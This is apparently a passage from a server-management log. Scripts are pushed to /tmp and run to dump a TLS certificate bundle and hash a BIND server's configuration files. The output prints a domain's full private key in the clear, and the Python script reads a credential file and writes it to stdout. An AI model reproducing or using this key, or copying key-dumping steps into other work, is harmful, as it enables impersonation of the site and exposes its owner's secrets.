m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:06:21:
PUT: /tmp/pkp363078
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:06:22:
chmod 755 /tmp/pkp363078; /tmp/pkp363078; rm /tmp/pkp363078
2026-01-03 19:06:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:06:22: Establishing a connection
2026-01-03 19:06:22:
PUT: /tmp/pkp665813
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:06:23:
runuser -l bind -s /bin/bash -c '/tmp/pkp665813; rm /tmp/pkp665813'
2026-01-03 19:06:23:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
